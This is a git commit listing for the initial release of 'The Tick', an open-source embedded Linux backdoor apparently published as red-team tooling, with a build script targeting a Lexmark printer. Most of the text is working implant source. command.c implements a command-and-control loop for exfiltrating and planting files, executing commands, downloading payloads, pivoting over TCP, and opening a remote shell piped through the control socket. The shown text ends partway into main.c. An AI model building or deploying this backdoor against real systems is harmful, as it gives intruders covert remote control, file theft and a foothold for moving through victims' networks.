Initial commit.

This commit is contained in:
MarioVilas 2019-09-23 15:09:37 +02:00
commit 576e7fc233
27 changed files with 4316 additions and 0 deletions

6
.gitignore vendored Normal file
View File

@ -0,0 +1,6 @@
*.o
*.s
*.pyc
*.pyo
bin/
.vscode/

165
LICENSE Normal file
View File

@ -0,0 +1,165 @@
GNU LESSER GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
This version of the GNU Lesser General Public License incorporates
the terms and conditions of version 3 of the GNU General Public
License, supplemented by the additional permissions listed below.
0. Additional Definitions.
As used herein, "this License" refers to version 3 of the GNU Lesser
General Public License, and the "GNU GPL" refers to version 3 of the GNU
General Public License.
"The Library" refers to a covered work governed by this License,
other than an Application or a Combined Work as defined below.
An "Application" is any work that makes use of an interface provided
by the Library, but which is not otherwise based on the Library.
Defining a subclass of a class defined by the Library is deemed a mode
of using an interface provided by the Library.
A "Combined Work" is a work produced by combining or linking an
Application with the Library. The particular version of the Library
with which the Combined Work was made is also called the "Linked
Version".
The "Minimal Corresponding Source" for a Combined Work means the
Corresponding Source for the Combined Work, excluding any source code
for portions of the Combined Work that, considered in isolation, are
based on the Application, and not on the Linked Version.
The "Corresponding Application Code" for a Combined Work means the
object code and/or source code for the Application, including any data
and utility programs needed for reproducing the Combined Work from the
Application, but excluding the System Libraries of the Combined Work.
1. Exception to Section 3 of the GNU GPL.
You may convey a covered work under sections 3 and 4 of this License
without being bound by section 3 of the GNU GPL.
2. Conveying Modified Versions.
If you modify a copy of the Library, and, in your modifications, a
facility refers to a function or data to be supplied by an Application
that uses the facility (other than as an argument passed when the
facility is invoked), then you may convey a copy of the modified
version:
a) under this License, provided that you make a good faith effort to
ensure that, in the event an Application does not supply the
function or data, the facility still operates, and performs
whatever part of its purpose remains meaningful, or
b) under the GNU GPL, with none of the additional permissions of
this License applicable to that copy.
3. Object Code Incorporating Material from Library Header Files.
The object code form of an Application may incorporate material from
a header file that is part of the Library. You may convey such object
code under terms of your choice, provided that, if the incorporated
material is not limited to numerical parameters, data structure
layouts and accessors, or small macros, inline functions and templates
(ten or fewer lines in length), you do both of the following:
a) Give prominent notice with each copy of the object code that the
Library is used in it and that the Library and its use are
covered by this License.
b) Accompany the object code with a copy of the GNU GPL and this license
document.
4. Combined Works.
You may convey a Combined Work under terms of your choice that,
taken together, effectively do not restrict modification of the
portions of the Library contained in the Combined Work and reverse
engineering for debugging such modifications, if you also do each of
the following:
a) Give prominent notice with each copy of the Combined Work that
the Library is used in it and that the Library and its use are
covered by this License.
b) Accompany the Combined Work with a copy of the GNU GPL and this license
document.
c) For a Combined Work that displays copyright notices during
execution, include the copyright notice for the Library among
these notices, as well as a reference directing the user to the
copies of the GNU GPL and this license document.
d) Do one of the following:
0) Convey the Minimal Corresponding Source under the terms of this
License, and the Corresponding Application Code in a form
suitable for, and under terms that permit, the user to
recombine or relink the Application with a modified version of
the Linked Version to produce a modified Combined Work, in the
manner specified by section 6 of the GNU GPL for conveying
Corresponding Source.
1) Use a suitable shared library mechanism for linking with the
Library. A suitable mechanism is one that (a) uses at run time
a copy of the Library already present on the user's computer
system, and (b) will operate properly with a modified version
of the Library that is interface-compatible with the Linked
Version.
e) Provide Installation Information, but only if you would otherwise
be required to provide such information under section 6 of the
GNU GPL, and only to the extent that such information is
necessary to install and execute a modified version of the
Combined Work produced by recombining or relinking the
Application with a modified version of the Linked Version. (If
you use option 4d0, the Installation Information must accompany
the Minimal Corresponding Source and Corresponding Application
Code. If you use option 4d1, you must provide the Installation
Information in the manner specified by section 6 of the GNU GPL
for conveying Corresponding Source.)
5. Combined Libraries.
You may place library facilities that are a work based on the
Library side by side in a single library together with other library
facilities that are not Applications and are not covered by this
License, and convey such a combined library under terms of your
choice, if you do both of the following:
a) Accompany the combined library with a copy of the same work based
on the Library, uncombined with any other library facilities,
conveyed under the terms of this License.
b) Give prominent notice with the combined library that part of it
is a work based on the Library, and explaining where to find the
accompanying uncombined form of the same work.
6. Revised Versions of the GNU Lesser General Public License.
The Free Software Foundation may publish revised and/or new versions
of the GNU Lesser General Public License from time to time. Such new
versions will be similar in spirit to the present version, but may
differ in detail to address new problems or concerns.
Each version is given a distinguishing version number. If the
Library as you received it specifies that a certain numbered version
of the GNU Lesser General Public License "or any later version"
applies to it, you have the option of following the terms and
conditions either of that published version or of any later version
published by the Free Software Foundation. If the Library as you
received it does not specify a version number of the GNU Lesser
General Public License, you may choose any version of the GNU Lesser
General Public License ever published by the Free Software Foundation.
If the Library as you received it specifies that a proxy can decide
whether future versions of the GNU Lesser General Public License shall
apply, that proxy's public statement of acceptance of any version is
permanent authorization for you to choose that version for the
Library.

65
README.md Normal file
View File

@ -0,0 +1,65 @@
# The Tick
A simple embedded Linux backdoor.
![Screenshot 1](doc/screenshot-big.png "Screenshot")
## Compiling
The Tick depends only on libcurl, so make sure you have the corresponding development package. For example on Debian based distributions you would do the following:
```
sudo apt-get install libcurl-dev
```
Once the dependencies are installed just run the makefile:
```
make clean
make
```
When cross-compiling for supported platforms, the dependency resolution and compilation is done automatically for you. Currently the only supported cross-compiling platform is the Lexmark CX310DN printer. Consult the sources for more details.
## Installing
Obtaining persistence on the backdoor will depend heavily on the target platform, and therefore is not documented here.
The control console requires no installation, but may have unresolved dependencies. Run the following command to ensure all dependencies are properly installed (note this does not need sudo):
```
pip install --upgrade -r requirements.txt
```
In most Linux desktop environments the following "Tick.desktop" file will create an icon you can double click to run the console:
```
[Desktop Entry]
Encoding=UTF-8
Value=1.0
Type=Application
Name=The Tick
GenericName=The Tick
Comment=An embedded Linux backdoor
Icon=/opt/thetick/doc/logo.png
Exec=/opt/thetick/tick.py
Terminal=true
Path=/opt/thetick/
```
The exact location for the Tick.desktop file may vary across Linux distributions but generally placing it in the desktop should work. Make sure to edit the path to wherever you downloaded The Tick (/opt/thetick in the above example).
## Usage
To run the backdoor binary on the target platform, set the control server hostname and port as command line options. For example:
```
./ticksvc control.example-domain.com 5555
```
At the control server, you may want to run the console inside a GNU screen instance or similar. Here are a few screenshots illustrating what the console is capable of:
Command line switches
![Screenshot 2](doc/screenshot-banners.png "Screenshot")
Interactive console help
![Screenshot 3](doc/screenshot-help.png "Screenshot")

9
deps/lexmark-cx310dn/.gitignore vendored Normal file
View File

@ -0,0 +1,9 @@
curl-*
curl-*/
curl
openssl-*
openssl-*/
openssl
zlib-*
zlib-*/
zlib

1
deps/lexmark-cx310dn/README vendored Normal file
View File

@ -0,0 +1 @@
These dependencies are specific to the Lexmark CX310DN printer.

92
deps/lexmark-cx310dn/build-deps.sh vendored Executable file
View File

@ -0,0 +1,92 @@
#!/bin/bash
# This script will build all the dependencies for The Tick for the Lexmark printer.
# Stop on any errors.
set -e
# Make sure we are in the correct directory.
pushd $(dirname $0) >/dev/null
# Download zlib.
if [[ -f zlib/ChangeLog ]]
then
echo "zlib already downloaded"
else
wget https://www.zlib.net/zlib-1.2.11.tar.gz
tar -xvzf zlib-1.2.11.tar.gz
ln -s zlib-1.2.11 zlib
fi
# Download openssl.
if [[ -f openssl/CHANGES ]]
then
echo "openssl already downloaded"
else
wget https://www.openssl.org/source/old/1.0.2/openssl-1.0.2j.tar.gz
tar -xvzf openssl-1.0.2j.tar.gz
ln -s openssl-1.0.2j openssl
fi
# Download curl.
if [[ -f curl/CHANGES ]]
then
echo "curl already downloaded"
else
wget https://curl.haxx.se/download/curl-7.20.0.tar.bz2
tar -xvjf curl-7.20.0.tar.bz2
ln -s curl-7.20.0 curl
fi
# Common variables.
export CROSS_COMPILE_PREFIX="arm-linux-gnueabi"
export AR=${CROSS_COMPILE_PREFIX}-ar
export AS=${CROSS_COMPILE_PREFIX}-as
export LD=${CROSS_COMPILE_PREFIX}-ld
export RANLIB=${CROSS_COMPILE_PREFIX}-ranlib
export CC=${CROSS_COMPILE_PREFIX}-gcc
export NM=${CROSS_COMPILE_PREFIX}-nm
# Let's build zlib, the easiest one.
pushd zlib >/dev/null
if [[ -f libz.a && -f libz.so ]]
then
echo "zlib already built, skipping"
else
./configure --prefix=$(pwd)
make clean
make
fi
popd >/dev/null
# Let's build openssl next.
pushd openssl >/dev/null
if [[ -f libcrypto.a && -f libcrypto.so && -f libssl.a && -f libssl.so ]]
then
echo "openssl already built, skipping"
else
./Configure linux-generic32 shared -DL_ENDIAN --prefix=${PWD} --openssldir=${PWD}
make clean
make CC=arm-linux-gnueabi-gcc RANLIB=arm-linux-gnueabi-ranlib LD=arm-linux-gnueabi-ld MAKEDEPPROG=arm-linux-gnueabi-gcc PROCESSOR=ARM
fi
popd >/dev/null
# Let's build curl now. Depends on zlib and openssl.
pushd curl >/dev/null
if [[ -f lib/.libs/libcurl.a && -f lib/.libs/libcurl.so ]]
then
echo "curl already built, skipping"
else
export CROSS_COMPILE=${CROSS_COMPILE_PREFIX}
export ROOTDIR="${PWD}"
export CPPFLAGS="-I${ROOTDIR}/../openssl/include -I${ROOTDIR}/../zlib"
export LDFLAGS="-L${ROOTDIR}/../openssl -L${ROOTDIR}/../zlib"
export LIBS="-lssl -lcrypto"
./configure --prefix=${ROOTDIR}/build --target=${CROSS_COMPILE} --host=${CROSS_COMPILE} --build=i586-pc-linux-gnu --with-ssl --with-zlib --with-random=/dev/urandom
make clean
make
fi
popd >/dev/null
# We're done!
popd >/dev/null

BIN
doc/logo.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

BIN
doc/screenshot-banners.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 163 KiB

BIN
doc/screenshot-big.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 141 KiB

BIN
doc/screenshot-help.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 158 KiB

5
requirements.txt Normal file
View File

@ -0,0 +1,5 @@
#!pip install -r
colorama
argparse-color-formatter
texttable
web.py>=0.37

83
src/Makefile Normal file
View File

@ -0,0 +1,83 @@
#
# The Tick, a Linux embedded backdoor.
#
# Released as open source by NCC Group Plc - http://www.nccgroup.com/
# Developed by Mario Vilas, mario.vilas@nccgroup.com
# http://www.github.com/nccgroup/thetick
#
# See the LICENSE file for further details.
#
##############################################################################
# Uncomment all but one of the following to select the target for compilation:
TARGET="generic"
#TARGET="lexmark-cx310dn"
##############################################################################
# Source, object and binary files.
SRC=$(wildcard *.c)
ASM=$(patsubst %.c,%.s,$(SRC))
OBJ=$(patsubst %.c,%.o,$(SRC))
BIN=../bin/ticksvc
##############################################################################
# Platform dependent configuration.
# Cross-compile for the Lexmark CX310DN printer.
ifeq ($(TARGET),"lexmark-cx310dn")
CC=arm-linux-gnueabi-gcc
AS=arm-linux-gnueabi-as -meabi=4
ST=arm-linux-gnueabi-strip
CPPFLAGS=-I../deps/$(TARGET)/curl/include -I./ -I../deps/$(TARGET)/openssl/include -I../deps/$(TARGET)/zlib
LDDFLAGS=-L../deps/$(TARGET)/openssl -L../deps/$(TARGET)/zlib -L../deps/$(TARGET)/curl/lib/.libs -Wl,-rpath-link,../deps/$(TARGET)/openssl -Wl,-rpath-link,../deps/$(TARGET)/zlib -Wl,-rpath-link,../deps/$(TARGET)/curl/lib/.libs -lssl -lz -lcurl
PRECMD=@bash -c "pushd ../deps/$(TARGET) >/dev/null ; ./build-deps.sh; popd >/dev/null"
BINCMD=sed -i 's/libcurl.so.4/libcurl.so.5/g'
POSTCMD=@true
endif
# Compile for the local platform.
ifeq ($(TARGET),"generic")
CC=gcc
AS=as
ST=@true
CPPFLAGS=-g
LDDFLAGS=$$(pkg-config --libs --cflags libcurl)
PRECMD=@true
BINCMD=@true
POSTCMD=@true
endif
##############################################################################
# Make targets.
.PHONY: all clean pre-build main-build post-build
all: post-build
@echo Finished building for platform: $(TARGET)
pre-build:
@echo Building for platform: $(TARGET)
$(PRECMD)
main-build: pre-build
@$(MAKE) --no-print-directory $(BIN)
post-build: main-build
$(POSTCMD)
%.s: %.c
$(CC) -S $< $(CPPFLAGS) -o $@
%.o: %.s
$(AS) $< -o $@
$(BIN): $(OBJ)
mkdir -p -- $$(dirname $@)
$(CC) $(OBJ) $(LDDFLAGS) -o $@
$(ST) $@
$(BINCMD) $@
clean:
rm -f -- $(ASM) $(OBJ) $(BIN)

553
src/command.c Normal file
View File

@ -0,0 +1,553 @@
/*
* The Tick, a Linux embedded backdoor.
*
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
* Developed by Mario Vilas, mario.vilas@nccgroup.com
* http://www.github.com/nccgroup/thetick
*
* See the LICENSE file for further details.
*/
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/statvfs.h>
#include <libgen.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include "shell.h"
#include "tcp.h"
#include "file.h"
#include "http.h"
#include "parser.h"
#include "command.h"
// Main command loop.
int command_loop(Parser *p)
{
while (1) {
// Wait for the next command and read the command block header.
// This call will block and reconnect if needed.
parser_wait(p);
// Now depending on the command ID we will do a number of things.
switch (p->header.cmd_id)
{
// Just a simple no operation command. Useful for testing.
case CMD_NOP:
parser_ok(p);
break;
// Kill command. Just kill the current process.
// Global cleanup will be handled by the atexit routine.
case CMD_SYSTEM_EXIT:
printf("User requested termination.\n");
parser_ok(p);
parser_close(p);
return 1;
// Fork the bot. This will create a new bot instance with a new UUID.
case CMD_SYSTEM_FORK:
do_system_fork(p);
break;
// Run an interactive shell.
// This command reuses the C&C connection.
case CMD_SYSTEM_SHELL:
do_system_shell(p);
printf("Channel reused, reconnecting...\n");
return 0;
// Grab a file from the target machine.
case CMD_FILE_READ:
do_file_read(p);
break;
// Put a file into the target machine.
case CMD_FILE_WRITE:
do_file_write(p);
break;
// Delete a file in the target machine.
case CMD_FILE_DELETE:
do_file_delete(p);
break;
// Chmod a file in the target machine.
case CMD_FILE_CHMOD:
do_file_chmod(p);
break;
// Run a non-interactive command and return the response.
case CMD_FILE_EXEC:
do_file_exec(p);
break;
// Download a file into the target machine.
case CMD_HTTP_DOWNLOAD:
do_http_download(p);
break;
// Domain name resolution.
case CMD_DNS_RESOLVE:
do_dns_resolve(p);
break;
// Simple TCP pivot.
// This command reuses the C&C connection.
case CMD_TCP_PIVOT:
do_tcp_pivot(p);
printf("Channel reused, reconnecting...\n");
return 0;
// Unsupported command.
default:
printf("Unsupported command: 0x%4x 0x%04x 0x%08x\n", p->header.cmd_id, p->header.cmd_len, p->header.data_len);
parser_error(p, "not supported");
break;
}
// Skip any unread bytes from the socket until we reach the next command.
parser_next(p);
}
}
void do_file_read(Parser *p)
{
int file = -1;
char *filename = (char *) &p->buffer;
struct stat info;
// Get the filename (first argument).
if (parser_get_first_arg(p) < 0) {
parser_error(p, "file name too long");
return;
}
// Make sure we have read access to the file.
if (access(filename, F_OK) == -1) {
printf("Cannot find %s\n", filename);
parser_error(p, "file not found");
return;
}
if (access(filename, R_OK) == -1) {
printf("Cannot read %s\n", filename);
parser_error(p, "file not readable");
return;
}
// Open the file.
file = open(filename, O_RDONLY);
if (file < 0) {
printf("Cannot open %s\n", filename);
parser_error(p, "cannot open file");
return;
}
// Make sure the file isn't empty.
info.st_size = 0;
stat(filename, &info);
if (info.st_size == 0) {
printf("Cannot stat or empty file %s\n", filename);
parser_error(p, "cannot stat or empty file");
return;
}
// Make sure the file isn't too big to send.
if (info.st_size > UINT32_MAX) {
printf("File too large %s\n", filename);
parser_error(p, "file too large");
return;
}
// Send the file in the response.
// Close the connection if something goes wrong at this point.
printf("Reading file %s\n", filename);
parser_begin_response(p, CMD_STATUS_OK, info.st_size);
if (copy_stream(file, p->fd, info.st_size) < 0) {
parser_close(p);
printf("Error sending file (%ld bytes)\n", info.st_size);
} else {
printf("Success (%ld bytes)\n", info.st_size);
}
close(file);
}
void do_file_write(Parser *p)
{
int file = -1;
int success = -1;
size_t available = 0;
char *filename = (char *) &p->buffer;
char *pathname = NULL;
struct statvfs info;
// Get the filename (first argument).
if (parser_get_first_arg(p) < 0) {
parser_error(p, "file name too long");
return;
}
// Make sure there's enough space in the target mount point.
pathname = dirname(filename);
if (statvfs(pathname, &info) < 0) {
parser_error(p, "cannot stat target directory");
return;
}
if (pathname == filename) {
filename[strlen(filename)] = '/';
}
available = info.f_bfree * info.f_bsize;
if (available < (size_t) p->header.data_len) {
parser_error(p, "not enough free space");
return;
}
// Open the file for writing.
file = open(filename, O_WRONLY | O_CREAT | O_TRUNC | O_SYNC, 0777);
if (file < 0) {
printf("Cannot open %s\n", filename);
parser_error(p, "cannot open file");
return;
}
// Fix the mode (in case umask is messing with us).
chmod(filename, 0777);
// Save the file data as it comes from the socket.
printf("Writing file %s\n", filename);
success = copy_stream(p->fd, file, p->header.data_len);
close(file);
if (success < 0) {
printf("Error receiving file (%d bytes)\n", p->header.data_len);
parser_error(p, "failed to write file");
parser_close(p);
} else {
printf("Success (%d bytes)\n", p->header.data_len);
parser_ok(p);
}
p->header.data_len = 0; // Make sure to reset this counter!
}
void do_file_delete(Parser *p)
{
char *filename = (char *) &p->buffer;
// Get the filename (first argument).
if (parser_get_first_arg(p) < 0) {
parser_error(p, "file name too long");
return;
}
// Delete the file.
if (unlink(filename) < 0) {
printf("Error deleting file %s\n", filename);
parser_error(p, "could not delete");
} else {
printf("Deleted file %s\n", filename);
parser_ok(p);
}
}
void do_file_chmod(Parser *p)
{
char *filename = (char *) &p->buffer;
uint16_t mode = 0;
// First two bytes of the first argument are the mode flags in network byte order.
if (p->header.cmd_len < sizeof(mode) + 2) {
printf("Malformed chmod command block\n");
parser_error(p, "malformed command block");
parser_close(p);
}
if (recv_block(p->fd, (char *) &mode, sizeof(mode)) < 0) {
printf("Malformed chmod command block\n");
parser_error(p, "malformed command block");
parser_close(p);
}
p->header.cmd_len = p->header.cmd_len - sizeof(mode);
mode = ntohs(mode);
// The following bytes of the first argument are the filename.
if (parser_get_first_arg(p) < 0) {
parser_error(p, "file name too long");
return;
}
// Chmod the file.
if (chmod(filename, mode) < 0) {
printf("Error changing file mode to %03o %s\n", mode, filename);
parser_error(p, "could not chmod");
} else {
printf("Changed file mode to %03o %s\n", mode, filename);
parser_ok(p);
}
}
void do_file_exec(Parser *p)
{
char *command = (char *) &p->buffer;
uint16_t buffer_length = 0;
char buffer[1024];
// Get the filename (first argument).
if (parser_get_first_arg(p) < 0) {
parser_error(p, "command line too long");
return;
}
// Execute the command.
printf("Executing: %s\n", command);
if (run_simple_command(command, (char *) buffer, sizeof(buffer))) {
printf("Success\n");
buffer_length = strlen(buffer);
parser_begin_response(p, CMD_STATUS_OK, buffer_length);
send_block(p->fd, buffer, buffer_length);
} else {
printf("Error\n");
parser_error(p, "could not execute");
}
}
void do_http_download(Parser *p)
{
char *url = (char *) p->buffer;
char filename[1024];
// The first argument is the URL.
if (parser_get_first_arg(p) < 0) {
parser_error(p, "url too long");
return;
}
// The second argument is the filename.
if (parser_read_second_arg(p, (char *) &filename, sizeof(filename)) < 0){
parser_error(p, "file name too long");
return;
}
// Download the file.
printf("Downloading url %s\n", url);
if (download_file(url, filename, 0) < 0) {
printf("Error downloading file %s\n", filename);
parser_error(p, "could not download");
} else {
printf("Downloaded file %s\n", filename);
parser_ok(p);
}
}
void do_dns_resolve(Parser *p)
{
int entries = 0;
uint32_t resp_size = 0;
struct addrinfo* result = NULL;
struct addrinfo* res = NULL;
// The first argument is the domain name to resolve.
if (parser_get_first_arg(p) < 0) {
parser_error(p, "domain name too long");
return;
}
// Resolve the domain name.
printf("Resolving domain %s\n", (const char *) &p->buffer);
if (getaddrinfo((const char *) &p->buffer, NULL, NULL, &result) != 0) {
printf("Failed to resolve domain\n");
parser_error(p, "could not resolve domain name");
return;
}
// Calculate the size of the response structure.
// The response will be an array of structures in this format:
// BYTE family (AF_INET or AF_INET6)
// UCHAR[4 or 16] address (IPv4 or IPv6)
entries = 0;
resp_size = 0;
for (res = result; res != NULL; res = res->ai_next) {
if (res->ai_family == AF_INET && res->ai_protocol == IPPROTO_TCP) {
resp_size += 5;
entries++;
} else if (res->ai_family == AF_INET6 && res->ai_protocol == IPPROTO_TCP) {
resp_size += 17;
entries++;
}
}
printf("Found %d address(es)\n", entries);
// Send the response.
parser_begin_response(p, CMD_STATUS_OK, resp_size);
for (res = result; res != NULL; res = res->ai_next) {
if (res->ai_family == AF_INET && res->ai_protocol == IPPROTO_TCP) {
send_block(p->fd, (const char *) &res->ai_family, 1);
send_block(p->fd, (const char *) &((struct sockaddr_in *) res->ai_addr)->sin_addr, 4);
} else if (res->ai_family == AF_INET6 && res->ai_protocol == IPPROTO_TCP) {
send_block(p->fd, (const char *) &res->ai_family, 1);
send_block(p->fd, (const char *) &((struct sockaddr_in6 *) res->ai_addr)->sin6_addr, 16);
}
}
}
void do_tcp_pivot(Parser *p)
{
int sock = -1;
CMD_TCP_PIVOT_ARGS *pivot = (CMD_TCP_PIVOT_ARGS *) p->buffer;
struct sockaddr_in sa;
// Read the TCP pivot options structure.
if (p->header.cmd_len != sizeof(CMD_TCP_PIVOT_ARGS) || parser_read_first_arg(p, (char *) &p->buffer, sizeof(CMD_TCP_PIVOT_ARGS)) < 0) {
printf("Malformed TCP pivot request\n");
parser_error(p, "malformed request");
parser_close(p);
return;
}
// Connect to the target IP and port.
sock = create_socket(AF_INET);
memset((void *) &sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
if (pivot->from_port != 0) {
sa.sin_port = pivot->from_port;
bind(sock, (const struct sockaddr *) &sa, sizeof(sa));
}
sa.sin_port = pivot->port;
memcpy((void *) &sa.sin_addr, (void *) &pivot->ip, sizeof(sa.sin_addr));
if (pivot->from_port != 0) {
printf("Pivoting to %s:%d from port %d\n", inet_ntoa(sa.sin_addr), ntohs(pivot->port), ntohs(pivot->from_port));
} else {
printf("Pivoting to %s:%d\n", inet_ntoa(sa.sin_addr), ntohs(pivot->port));
}
if (connect_socket(sock, (const struct sockaddr *) &sa, sizeof(sa)) < 0) {
if (pivot->from_port != 0) {
printf("Can not connect to %s:%d from port %d\n", inet_ntoa(sa.sin_addr), ntohs(pivot->port), ntohs(pivot->from_port));
} else {
printf("Can not connect to %s:%d\n", inet_ntoa(sa.sin_addr), ntohs(pivot->port));
}
parser_error(p, "connection refused");
return;
}
// Send the OK status before launching the tunnel, since we'll be reusing the channel.
parser_ok(p);
// Fork the process twice.
if (fork() == 0) {
if (fork() == 0) {
// The first process will handle the source to destination data.
copy_stream(p->fd, sock, -1);
} else {
// The second process will handle the destination to source data.
copy_stream(sock, p->fd, -1);
}
// Both processes will kill their sockets and quit.
disconnect_tcp(p->fd);
disconnect_tcp(sock);
exit(0);
} else {
// Log the event.
if (pivot->from_port != 0) {
printf("Launched TCP tunnel to %s:%d from port %d\n", inet_ntoa(sa.sin_addr), pivot->port, pivot->from_port);
} else {
printf("Launched TCP tunnel to %s:%d\n", inet_ntoa(sa.sin_addr), pivot->port);
}
// Close the socket object and reconnect.
// Do not shutdown! The parent process still uses this connection.
close(p->fd);
p->fd = -1;
parser_close(p);
}
}
void do_system_fork(Parser *p)
{
unsigned char uuid[16];
// Generate a new UUID for the new instance.
uuid4(uuid);
// Send the new UUID back to the caller.
parser_begin_response(p, CMD_STATUS_OK, sizeof(uuid));
send_block(p->fd, uuid, sizeof(uuid));
// Fork the new instance.
if (fork() == 0) {
// We are in the child instance now.
// Set the new UUID into the Parser object.
memcpy(p->uuid, uuid, sizeof(uuid));
// Close the socket object and reconnect.
// Do not shutdown! The parent process still uses this connection.
close(p->fd);
p->fd = -1;
parser_close(p);
parser_connect(p);
}
}
void do_system_shell(Parser *p)
{
char *shell = NULL;
char *argv[2];
// Find out what our shell is.
shell = getenv("SHELL");
// If for some odd reason we don't have a SHELL variable, hardcode a default.
if (shell == NULL) {
shell = "/bin/sh";
}
// Test if the file actually exists and we have execution permission.
if (access(shell, X_OK) == -1) {
printf("Cannot find a shell for the current user\n");
parser_error(p, "no shell available");
return;
}
// Send the OK status before invoking the shell, since we'll be reusing the channel.
parser_ok(p);
// Fork the process.
if (fork() == 0) {
// The new process will invoke the shell and pipe it though the socket.
// The socket timeout values will be disabled.
setsockopt(p->fd, SOL_SOCKET, SO_RCVTIMEO, NULL, 0);
setsockopt(p->fd, SOL_SOCKET, SO_SNDTIMEO, NULL, 0);
dup2(p->fd, 0);
dup2(p->fd, 1);
dup2(p->fd, 2);
argv[0] = shell;
argv[1] = NULL;
execvp(shell, argv);
} else {
// The parent process will "forget" the connection.
close(p->fd);
p->fd = -1;
parser_close(p);
}
printf("Launched remote shell\n");
}

34
src/command.h Normal file
View File

@ -0,0 +1,34 @@
/*
* The Tick, a Linux embedded backdoor.
*
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
* Developed by Mario Vilas, mario.vilas@nccgroup.com
* http://www.github.com/nccgroup/thetick
*
* See the LICENSE file for further details.
*/
#ifndef COMMAND_H
#define COMMAND_H
#include <sys/types.h>
#include <stdint.h>
#include "parser.h"
// Main function.
int command_loop(Parser *p);
// Command implementations.
void do_file_read(Parser *p);
void do_file_write(Parser *p);
void do_file_delete(Parser *p);
void do_file_chmod(Parser *p);
void do_file_exec(Parser *p);
void do_http_download(Parser *p);
void do_dns_resolve(Parser *p);
void do_tcp_pivot(Parser *p);
void do_system_fork(Parser *p);
void do_system_shell(Parser *p);
#endif /* COMMAND_H */

57
src/file.c Normal file
View File

@ -0,0 +1,57 @@
/*
* The Tick, a Linux embedded backdoor.
*
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
* Developed by Mario Vilas, mario.vilas@nccgroup.com
* http://www.github.com/nccgroup/thetick
*
* See the LICENSE file for further details.
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/statvfs.h>
#include "file.h"
// Helper function to copy a file stream.
// Since uses low lever file descriptors it works with sockets too.
// Optional "count" parameter limits how many bytes to copy,
// use <0 to copy the entire stream. Returns 0 on success, -1 on error.
int copy_stream(int source, int destination, ssize_t count)
{
ssize_t copied = 0;
ssize_t block = 0;
char buffer[1024];
if (count == 0) return 0;
while (count < 0 || copied < count) {
block = read(source, buffer, sizeof(buffer));
if (block < 0 || (block == 0 && count > 0 && copied < count)) {
return -1;
}
if (block == 0) {
return 0;
}
copied = copied + block;
while (block > 0) {
ssize_t tmp = write(destination, buffer, block);
if (tmp <= 0) {
return -1;
}
block = block - tmp;
}
}
return 0;
}
// Helper function to get the free space available in a given mount point.
// Returns -1 on error.
ssize_t get_free_space(const char *pathname)
{
struct statvfs svfs;
if (statvfs(pathname, &svfs) < 0) return -1;
return svfs.f_bfree * svfs.f_bsize;
}

18
src/file.h Normal file
View File

@ -0,0 +1,18 @@
/*
* The Tick, a Linux embedded backdoor.
*
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
* Developed by Mario Vilas, mario.vilas@nccgroup.com
* http://www.github.com/nccgroup/thetick
*
* See the LICENSE file for further details.
*/
#ifndef FILE_H
#define FILE_H
#include <sys/types.h>
int copy_stream(int source, int destination, ssize_t count);
#endif /* FILE_H */

72
src/http.c Normal file
View File

@ -0,0 +1,72 @@
/*
* The Tick, a Linux embedded backdoor.
*
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
* Developed by Mario Vilas, mario.vilas@nccgroup.com
* http://www.github.com/nccgroup/thetick
*
* See the LICENSE file for further details.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>
#include <string.h>
#include <signal.h>
#include <curl/curl.h>
#include "http.h"
#include "tcp.h"
#include "command.h"
#include "parser.h"
void http_init()
{
curl_global_init(CURL_GLOBAL_ALL);
}
void http_cleanup()
{
curl_global_cleanup();
}
// Helper function to download a file from a URL.
// Returns 0 on success, -1 on error.
int download_file(const char *url, const char *filename, long verify_peer)
{
CURL *curl_handle = NULL;
FILE *file = NULL;
int success = 0;
// Open the destination file.
file = fopen(filename, "wb");
if (file == NULL) {
return -1;
}
// Initialize a CURL handle and fill up its options.
curl_handle = curl_easy_init();
curl_easy_setopt(curl_handle, CURLOPT_URL, url);
curl_easy_setopt(curl_handle, CURLOPT_VERBOSE, 0L);
curl_easy_setopt(curl_handle, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl_handle, CURLOPT_WRITEFUNCTION, fwrite);
curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, file);
curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, verify_peer);
// Download the file.
success = curl_easy_perform(curl_handle);
// Clean up.
fclose(file);
curl_easy_cleanup(curl_handle);
// Success!
return success;
}

18
src/http.h Normal file
View File

@ -0,0 +1,18 @@
/*
* The Tick, a Linux embedded backdoor.
*
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
* Developed by Mario Vilas, mario.vilas@nccgroup.com
* http://www.github.com/nccgroup/thetick
*
* See the LICENSE file for further details.
*/
#ifndef HTTP_H
#define HTTP_H
void http_init();
void http_cleanup();
int download_file(const char *url, const char *filename, long verify_peer);
#endif /* HTTP_H */

63
src/main.c Normal file
View File

@ -0,0 +1,63 @@
/*
* The Tick, a Linux embedded backdoor.
*
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
* Developed by Mario Vilas, mario.vilas@nccgroup.com
* http://www.github.com/nccgroup/thetick
*
* See the LICENSE file for further details.
*/
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/types.h>
#include <unistd.h>
#include "main.h"
#include "command.h"
#include "http.h"
#include "parser.h"
int main(int argc, char *argv[])
{
